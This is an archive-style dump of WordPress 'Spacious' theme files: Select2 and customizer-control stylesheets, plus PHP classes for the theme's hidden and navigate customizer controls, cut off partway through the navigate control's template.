.select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[data-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[data-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top,white 50%,#eee 100%);background-image:-o-linear-gradient(top,white 50%,#eee 100%);background-image:linear-gradient(to bottom,white 50%,#eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF',endColorstr='#FFEEEEEE',GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:0;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc 100%);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(to bottom,#eee 50%,#ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE',endColorstr='#FFCCCCCC',GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:0;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:0}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:0;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,white 0,#eee 50%);background-image:-o-linear-gradient(top,white 0,#eee 50%);background-image:linear-gradient(to bottom,white 0,#eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF',endColorstr='#FFEEEEEE',GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,white 100%);background-image:-o-linear-gradient(top,#eee 50%,white 100%);background-image:linear-gradient(to bottom,#eee 50%,white 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE',endColorstr='#FFFFFFFF',GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:white;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:0}.select2-container--classic .select2-dropdown--below{border-top:0}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[data-selected]{background-color:#3875d7;color:white}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}core/custom-controls/assets/css/customize-controls.css000066600000053123152367043330017354 0ustar00.tooltip-text {
	background-color: #444444;
	border-radius: 4px;
	bottom: 125%;
	-webkit-box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2);
	box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2);
	color: #ffffff;
	left: 4px;
	margin-left: calc(-120px / 2);
	opacity: 0;
	padding: 10px 10px;
	position: absolute;
	text-align: center;
	-webkit-transition: opacity 0.3s;
	transition: opacity 0.3s;
	visibility: hidden;
	width: 120px;
	z-index: 1;
}

.tooltip-text::after {
	border-color: #444444 transparent transparent transparent;
	border-style: solid;
	border-width: 5px;
	content: "";
	left: 50%;
	margin-left: -5px;
	position: absolute;
	top: 100%;
}

/**
 * Background control CSS.
 */
.customize-control-spacious-background .customize-control-content > div {
	margin-bottom: 15px;
}

/**
 * Radio buttonset control CSS.
 */
.customize-control-spacious-buttonset .buttonset {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner {
	-webkit-box-flex: 1;
	-ms-flex: 1;
	flex: 1;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner + .buttonset-inner {
	border-left: 0;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset {
	background: #ebebeb;
	-webkit-box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1);
	box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1);
	color: #444444;
	display: block;
	padding: 5px 12px;
	text-align: center;
	-webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
	transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover {
	background: #ffffff;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input {
	display: none;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label {
	background: #0073aa;
	color: #ffffff;
}

.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label:hover {
	background: #0073aa;
	color: #ffffff;
}

.customize-control .actions {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control .actions .button {
	min-height: 34px;
}

.customize-control .actions .button:last-of-type {
	margin-right: 0px;
}

.customize-control-header button.random {
	min-height: 34px;
}

input[type=checkbox]:checked {
	border-radius: 2px;
	-webkit-box-shadow: 0 0 0 1px #0073aa;
	box-shadow: 0 0 0 1px #0073aa;
}

input[type=radio]:checked {
	-webkit-box-shadow: 0 0 0 1px #0073aa;
	box-shadow: 0 0 0 1px #0073aa;
}

input[type=range]:focus {
	outline: none;
}

/**
 * Alpha color control CSS.
 */
.customize-control-spacious-color .customizer-wrapper {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-color .customizer-wrapper .customize-control-title {
	display: block;
	margin: 0 0 8px 0;
}

.wp-picker-container .wp-color-result.button {
	background-color: #ebebeb !important;
	background-image: none !important;
	min-height: 34px;
	border: 1px solid #ebebeb;
}

.wp-picker-container .wp-color-result.button::after {
	border: 1px solid #ebebeb;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;
	border-radius: 100%;
	content: "";
	height: 22px;
	left: 5px;
	position: absolute;
	top: 5px;
	width: 22px;
	z-index: 0;
}

.wp-picker-container .wp-color-result.button .wp-color-result-text {
	background: none;
	border: none;
	line-height: 2.15384615;
	padding: 0 10px 0 6px;
}

.wp-picker-container .wp-color-result.button .color-alpha {
	border: 1px solid #ebebeb;
	border-radius: 100% !important;
	height: 22px !important;
	left: 4px !important;
	top: 4px !important;
	width: 22px !important;
	z-index: 1;
}

.wp-picker-container .wp-picker-input-wrap .wp-picker-default {
	min-height: 34px !important;
}

.wp-picker-container .wp-picker-holder {
	-webkit-box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3);
	box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3);
}

.wp-picker-container .iris-picker {
	border-color: #ebebeb;
	margin-bottom: 5px;
}

.wp-picker-container .iris-picker .iris-alpha-slider {
	margin-right: -1px;
}

.customize-control-spacious-divider {
	padding: 0 !important;
}

/**
 * Custom control CSS.
 */
.customize-control-spacious-custom .spacious-custom-info {
	margin-bottom: 15px;
}

.customize-control-spacious-custom .spacious-custom-links li a {
	background: #0073aa;
	display: block;
	text-align: center;
	color: #ffffff;
	padding: 8px 16px;
	text-decoration: none;
}

/**
 * Divider control CSS.
 */
.customize-control-spacious-divider hr {
	margin-top: 10px;
	margin-bottom: 10px;
}

.customize-control-spacious-divider .divider-placement-above + .spacious-control-tooltip {
	top: 30px;
}

/**
 * Editor control CSS.
 */
.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea {
	width: 100%;
}

/**
 * Group control CSS.
 */
.customize-control-spacious-group .spacious-group-wrap > .customizer-text {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-group .spacious-group-toggle-icon {
	background: #ebebeb;
	border-radius: 100px;
	color: rgba(68, 68, 68, 0.6);
	cursor: pointer;
	font-size: 20px;
	padding: 5px;
	position: relative;
	right: 0;
	top: 0px;
}

.customize-control-spacious-group .spacious-group-toggle-icon:before {
	content: "\f464";
}

.customize-control-spacious-group .spacious-group-toggle-icon.open {
	background: #0073aa;
	color: #ffffff;
}

.customize-control-spacious-group .spacious-group-toggle-icon.open:before {
	content: "\f158";
}

.customize-control-spacious-group .spacious-group-toggle-icon.toggle-description {
	right: 25px;
}

.customize-control-spacious-group .spacious-field-settings-modal {
	background-color: #ffffff;
	border-radius: 5px;
	-webkit-box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
	box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
	left: 0;
	position: absolute;
	right: 0;
	z-index: 9999;
}

.customize-control-spacious-group .spacious-field-settings-modal:before {
	border: 8px solid transparent;
	border-bottom-color: #ffffff;
	content: "";
	pointer-events: none;
	position: absolute;
	right: 17px;
	top: -15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap {
	width: 100%;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,
.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content {
	position: relative;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	overflow: hidden;
	padding: 15px 15px 0 15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before, .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after {
	border-collapse: collapse;
	content: "";
	display: table;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li {
	border: 1px solid rgba(0, 0, 0, 0.1);
	-webkit-box-flex: 1;
	-ms-flex: 1 1 auto;
	flex: 1 1 auto;
	margin: 0;
	padding: 0.5rem 0.5rem;
	text-align: center;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child) {
	border-left-width: 0;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus {
	outline-style: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active {
	background-color: #289dcc;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a {
	color: #ffffff;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a {
	color: #555d66;
	text-decoration: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus {
	-webkit-box-shadow: none;
	box-shadow: none;
}

.customize-control-spacious-group .spacious-field-settings-modal .customize-control {
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	padding: 20px 15px 0 15px;
}

.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child {
	margin-bottom: 15px;
}

/**
 * Heading control CSS.
 */
.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title {
	color: #444444;
	display: block;
	font-size: 14px;
	line-height: 1.2;
	margin: 0;
}

.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description {
	margin-top: 10px;
	padding: 0 12px;
}

.tool-tip {
	display: inline-block;
	position: relative;
}

.tool-tip:hover .tooltip-text {
	opacity: 1;
	visibility: visible;
}

#customize-theme-controls .customize-pane-child .accordion-section-content {
	padding: 10px;
}

.customize-control .customize-control-spacious-color {
	padding-bottom: 0;
}

li.customize-control.customize-control-spacious-hidden {
	padding: 0;
}

/**
 * Group control CSS.
 */
.customize-control-spacious-hidden.customize-control {
	margin-top: 0;
}

/**
 * Radio image control CSS.
 */
.customize-control-spacious-radio-image * {
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.customize-control-spacious-radio-image input {
	display: none;
}

.customize-control-spacious-radio-image input:checked + label img {
	background: #0073aa;
}

.customize-control-spacious-radio-image .image {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-radio-image label {
	display: -webkit-inline-box;
	display: -ms-inline-flexbox;
	display: inline-flex;
	margin-top: 10px;
	margin-bottom: 10px;
	position: relative;
	-webkit-box-pack: center;
	-ms-flex-pack: center;
	justify-content: center;
}

.customize-control-spacious-radio-image label > img {
	background: #ebebeb;
	border: 2px solid #ebebeb;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-radio-image .image-col-1:after,
.customize-control-spacious-radio-image .image-col-2:after,
.customize-control-spacious-radio-image .image-col-3:after,
.customize-control-spacious-radio-image .image-col-4:after {
	clear: both;
	content: '';
	display: block;
}

.customize-control-spacious-radio-image .image-col-1 input:checked + label img,
.customize-control-spacious-radio-image .image-col-2 input:checked + label img,
.customize-control-spacious-radio-image .image-col-3 input:checked + label img,
.customize-control-spacious-radio-image .image-col-4 input:checked + label img {
	border: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}

.customize-control-spacious-radio-image .image-col-1 label {
	-ms-flex-preferred-size: 100%;
	flex-basis: 100%;
	-webkit-box-pack: start;
	-ms-flex-pack: start;
	justify-content: flex-start;
}

.customize-control-spacious-radio-image .image-col-1 label > img {
	border: none;
	padding: 15px 15px 0;
	width: 70%;
}

.customize-control-spacious-radio-image .image-col-2 label {
	-ms-flex-preferred-size: calc((100% / 2) - 12px);
	flex-basis: calc((100% / 2) - 12px);
}

.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd) {
	margin-right: 10px;
}

.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even) {
	margin-left: 10px;
}

.customize-control-spacious-radio-image .image-col-2 label > img {
	border: none;
	padding: 12px 12px 0;
	width: 108px;
}

.customize-control-spacious-radio-image .image-col-3 label {
	-ms-flex-preferred-size: calc((100% / 3) - 8px);
	flex-basis: calc((100% / 3) - 8px);
}

.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1) {
	margin-right: 10px;
}

.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3) {
	margin-left: 10px;
}

.customize-control-spacious-radio-image .image-col-3 label > img {
	border: none;
	padding: 8px 8px 0;
	width: 75px;
}

.customize-control-spacious-radio-image .image-col-4 label {
	-ms-flex-preferred-size: 25%;
	flex-basis: 25%;
	padding: 6px 15px;
	border: 1px solid #EBEBEB;
}

.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)) {
	border-right-width: 0;
}

.customize-control-spacious-radio-image .image-col-4 label > img {
	border: 0;
}

.customize-control-spacious-radio-image .image-col-4 input:checked + label {
	background: #0073aa;
}

.customize-control-spacious-radio-image label:hover .tooltip-text {
	opacity: 1;
	visibility: visible;
}

.customize-control-spacious-radio-image .tooltip-text {
	bottom: 105%;
	left: 50%;
}

/**
 * Slider control CSS.
 */
.customize-control-spacious-slider .slider-wrapper {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
}

.customize-control-spacious-slider .slider-wrapper input[type=range] {
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;
	background: rgba(0, 0, 0, 0.1);
	cursor: pointer;
	-webkit-box-flex: 1;
	-ms-flex: 1;
	flex: 1;
	height: 5px;
	padding: 0;
	-webkit-transition: background 0.3s;
	transition: background 0.3s;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	appearance: none;
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb {
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb {
	background: #289dcc;
	border-radius: 100%;
	height: 16px;
	width: 16px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	padding: 0 0 0 5px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number] {
	font-size: 12px;
	padding: 3px;
	width: 60px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit {
	padding: 0 0 0 5px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset {
	color: rgba(0, 0, 0, 0.3);
	cursor: pointer;
	-webkit-transition: color 0.3s ease-in;
	transition: color 0.3s ease-in;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span {
	font-size: 14px;
}

.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover, .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus {
	color: #289dcc;
}

.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span {
	right: 20px;
}

/**
 * Sortable control CSS.
 */
.customize-control-spacious-sortable ul.ui-sortable {
	cursor: default;
}

.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility {
	cursor: pointer;
}

.customize-control-spacious-sortable ul.ui-sortable li {
	padding: 5px 10px;
	border: 1px solid #555555;
	background: #ffffff;
	cursor: move;
}

.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu {
	float: right;
}

.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility {
	margin-right: 10px;
}

.customize-control-spacious-sortable ul.ui-sortable li.invisible {
	color: #aaaaaa;
	border: 1px dashed #aaaaaa;
}

.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility {
	color: #aaaaaa;
}

/**
 * Switch toggle control CSS.
 */
.customize-control-spacious-toggle {
	display: -webkit-box !important;
	display: -ms-flexbox !important;
	display: flex !important;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-toggle label {
	position: relative;
	display: inline-block;
	width: 30px;
	height: 16px;
	right: 0;
	top: 4px;
}

.customize-control-spacious-toggle label.toggle-description {
	right: 20px;
}

.customize-control-spacious-toggle label input {
	display: none;
}

.customize-control-spacious-toggle label input:checked + .switch:before {
	background: #ffffff;
	border-color: #ffffff;
	left: -6px;
	-webkit-transform: translateX(20px);
	transform: translateX(20px);
}

.customize-control-spacious-toggle label input:checked + .switch {
	background-color: #0073aa;
	border-color: #0073aa;
}

.customize-control-spacious-toggle label .switch {
	position: absolute;
	cursor: pointer;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: #ffffff;
	border: 2px solid #444444;
	border-radius: 100px;
	-webkit-transition: all ease 0.3s;
	transition: all ease 0.3s;
}

.customize-control-spacious-toggle label .switch:before {
	position: absolute;
	content: '';
	height: 6px;
	width: 6px;
	left: 3px;
	bottom: 1px;
	border: 2px solid #444444;
	background: #444444;
	border-radius: 100%;
	-webkit-transition: all ease 0.3s;
	transition: all ease 0.3s;
}

/**
 * Typography control CSS.
 */
.customize-control-spacious-typography .customize-control-content > div {
	margin-bottom: 15px;
}

.customize-control-spacious-typography .customize-control-content .font-size,
.customize-control-spacious-typography .customize-control-content .line-height,
.customize-control-spacious-typography .customize-control-content .letter-spacing {
	position: relative;
}

.customize-control-spacious-typography .customize-control-content .control-wrap {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
}

.customize-control-spacious-typography .customize-control-content .unit {
	background: #ebebeb;
	border-radius: 0 2px 2px 0;
	font-weight: 500;
	line-height: 34px;
	padding: 0 12px;
	text-transform: uppercase;
}

.customize-control-spacious-typography .customize-control-content .font-style,
.customize-control-spacious-typography .customize-control-content .font-family,
.customize-control-spacious-typography .customize-control-content .font-weight,
.customize-control-spacious-typography .customize-control-content .text-transform {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,
.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content {
	padding-top: 2px;
	width: 180px;
}

span.select2-container.select2-container--default.select2-container--open {
	z-index: 999999;
}

/**
 * Title control CSS.
 */
.customize-control-spacious-title {
	border-bottom: 1px solid #ebebeb;
	margin-top: 15px;
}

.customize-control-spacious-title:nth-child(2) {
	margin-top: 0;
}

.spacious-title-wrapper {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.spacious-title-wrapper .dashicons-editor-help {
	color: rgba(68, 68, 68, 0.5);
	margin-left: 5px;
}

.spacious-title-wrapper .dashicons-editor-help:hover {
	color: #444444;
}

.spacious-title-wrapper .guide-tutorial > span {
	border-right: 1px solid #eeeeee;
	padding: 0 5px 0 8px;
}

.spacious-title-wrapper .guide-tutorial > span:first-child, .spacious-title-wrapper .guide-tutorial > span:last-of-type {
	border-right: 0;
	padding-right: 0;
}

.spacious-title-wrapper .guide-tutorial > span a {
	font-weight: 500;
	text-decoration: none;
}

.spacious-title-wrapper label.customizer-text {
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
}

/**
 * Dimensions control CSS.
 */
.customize-control-spacious-dimensions {
	position: relative;
}

.customize-control-spacious-dimensions .wrapper {
	border: 1px solid rgba(0, 0, 0, 0.1);
	padding: 6px 8px;
}

.customize-control-spacious-dimensions .wrapper .control {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}

.customize-control-spacious-dimensions .wrapper .control .top, .customize-control-spacious-dimensions .wrapper .control .right, .customize-control-spacious-dimensions .wrapper .control .bottom, .customize-control-spacious-dimensions .wrapper .control .left {
	width: 23%;
}

.customize-control-spacious-dimensions .wrapper .control .top h5, .customize-control-spacious-dimensions .wrapper .control .right h5, .customize-control-spacious-dimensions .wrapper .control .bottom h5, .customize-control-spacious-dimensions .wrapper .control .left h5 {
	margin: 0;
	font-weight: normal;
}

p.upgrade-description {
	margin-top: 10px;
	font-style: italic;
}
core/custom-controls/hidden/class-spacious-hidden-control.php000066600000003421152367043330020465 0ustar00<?php
/**
 * Extend WP_Customize_Control to include hidden control.
 *
 * Class Spacious_Hidden_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the hidden customize control.
 *
 * Class Spacious_Hidden_Control
 */
class Spacious_Hidden_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-hidden';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<input type='hidden'
		       class='hidden-field-{{ data.settings.default }}'
		       data-name='{{ data.settings.default }}'
		       value='{{ data.value }}'
		>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/navigate/class-spacious-navigate-control.php000066600000003547152367043330021404 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the navigate control.
 *
 * Class Spacious_Navigate_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the navigate customize control.
 *
 * Class Spacious_Navigate_Control
 */
class Spacious_Navigate_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-navigate';

	public $navigate_info = array();

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;
		$this->json['navigate_info']    = $this->navigate_info;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<div class="customize-control-content tg-navigate">
			<?php
			echo sprintf(
				/* Translators: %1$s: Anchor tag open, %2$s: Customizer section name %3$s: Anchor tag close */
				esc_html__(
					'%1$s Click here to edit %2$s features %3$s',
					'spacious'
				),
